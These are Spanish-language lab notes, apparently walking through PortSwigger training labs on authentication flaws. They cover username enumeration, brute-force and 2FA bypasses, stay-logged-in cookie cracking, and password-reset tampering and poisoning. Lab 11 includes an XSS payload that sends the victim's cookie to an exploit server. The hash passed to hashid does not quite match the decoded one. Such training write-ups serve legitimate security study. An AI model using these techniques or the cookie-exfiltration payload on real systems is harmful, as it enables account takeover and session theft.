Authentication
Vulnerabilidades en mecanismos de autenticación: fuerza bruta, bypass de 2FA, reset de contraseñas y stay-logged-in cookies.
Vulnerabilities in password-based login
Brute Force Attacks
Lab 1Username enumeration via different responses
Interceptar la consulta de login con Burp Suite, enviar al Intruder. Configurar tipo Sniper, seleccionar solo el usuario. Cargar lista de usuarios de PortSwigger. En Grep - Extract buscar Invalid username. Los resultados que digan Invalid password son los correctos.
Lab 2Username enumeration via subtly different responses
Mismo proceso que Lab 1. Las respuestas parecen iguales (Invalid username or password.) pero cuando el usuario existe no tiene el punto final. Luego fuerza bruta de contraseña buscando redirección o ausencia de mensaje de error.
Lab 3Username enumeration via response timing
Agregar cabecera X-Forwarded-For con IP para evitar bloqueo. Password muy larga para que el procesamiento demore cuando el usuario existe. Tipo de ataque Pitchfork con dos listas: últimos dígitos de IP y nombres de usuario. Ver columna Response received para el tiempo.
Flawed brute-force protection
Lab 4Broken brute-force protection, IP block
La IP se bloquea cada 1 minuto. Usar ataque Pitchfork intercalando credenciales válidas (wiener:peter) con las de carlos para resetear el contador. Buscar código 302 para el usuario carlos.
Lab 5Username enumeration via account lock
Usar tipo Cluster Bomb. Payload 1: lista de usuarios. Payload 2: lista simple con valores nulos (agregar vacío). El usuario con mayor longitud de respuesta es el correcto. Luego buscar contraseña esperando ausencia de mensaje de error.
User rate limiting
Lab 6Broken brute-force protection, multiple credentials per request
La consulta envía datos como JSON. Modificar el parámetro password para que sea un array de strings con todas las contraseñas posibles.
Vulnerabilities in multi-factor authentication
Bypassing two-factor authentication
Lab 72FA simple bypass
Ingresar con wiener:peter, obtener el código 2FA, entrar a My profile y copiar el URL. Cerrar sesión, ingresar con carlos:montoya. Cuando pida el segundo factor, navegar directamente al URL copiado.
Flawed two-factor verification logic
Lab 82FA broken logic
Iniciar sesión con wiener:peter interceptando. Modificar verify=carlos para enviar el segundo factor a carlos. Mandar al Intruder con verify=carlos y hacer fuerza bruta del código de 4 dígitos. Buscar código 302.
Brute-forcing 2FA verification codes
Lab 92FA bypass using a brute-force attack
Configurar una macro en Project Options → Sessions → Session Handling Rules con las 3 consultas de login (login page, credentials, 2FA page). La última consulta (envío del código) se usa para fuerza bruta en Intruder. Usar un solo hilo para evitar errores de sesión.
Vulnerabilities in other authentication mechanisms
Keeping users logged in
Lab 10Brute-forcing a stay-logged-in cookie
La cookie stay-logged-in usa el formato base64(user:MD5(password)). En el Intruder usar la cookie stay-logged-in con Payload Processing: Hash MD5 → Prefix carlos: → Encode Base64.
$ echo "d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw" | base64 -d
wiener:51dc30ddc473d43a6011e9ebba6ca770
$ hashid 51dc30ddc473d32a6011e92bba6ca770
[+] MD5
Lab 11Offline password cracking
La caja de comentarios es vulnerable a XSS. Inyectar payload para exfiltrar la cookie de carlos al servidor de exploit. Decodificar la cookie stay-logged-in y crackear el hash MD5 con CrackStation. Luego eliminar la cuenta de carlos.
<script>document.location='https://exploit-SERVER.web-security-academy.net/exploit/'+document.cookie</script>
Resetting user passwords
Resetting passwords using a URL
Lab 12Password reset broken logic
Usar Forgot Password? con el correo de wiener. Interceptar la consulta al enviar la nueva contraseña y cambiar el parámetro username=carlos.
temp-forgot-password-token=TOKEN&username=carlos&new-password-1=miau12345&new-password-2=miau12345
Lab 13Password reset poisoning via middleware
Usar Forgot password para carlos interceptando el paquete. Agregar la cabecera X-Forwarded-Host con el servidor de exploit. El token llegará a los logs del servidor exploit. Usar ese token para resetear la contraseña de carlos.
Changing user passwords
Lab 14Password brute-force via password change
El formulario de cambio de contraseña envía el nombre de usuario en un hidden input. Si las nuevas contraseñas no coinciden pero la actual es correcta, retorna New passwords do not match. Hacer fuerza bruta del campo current-password buscando esa respuesta.